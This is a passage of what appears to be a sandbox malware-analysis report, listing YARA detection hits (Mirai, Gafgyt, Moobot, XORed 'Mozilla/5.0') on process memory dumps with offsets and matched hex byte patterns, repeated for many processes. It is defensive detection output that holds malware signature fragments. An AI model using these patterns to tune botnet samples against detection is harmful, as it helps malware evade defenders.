44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6343.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6697.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7049.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6571.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7340.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7171.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7171.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7171.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7171.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7171.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7171.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6569.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6569.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6569.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6569.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6569.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6569.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6871.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6289.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6289.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6289.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6289.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6289.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6289.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6757.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6588.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6649.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7214.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7214.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7214.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7214.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7214.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7214.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7212.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6294.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6294.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6294.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6294.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6294.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 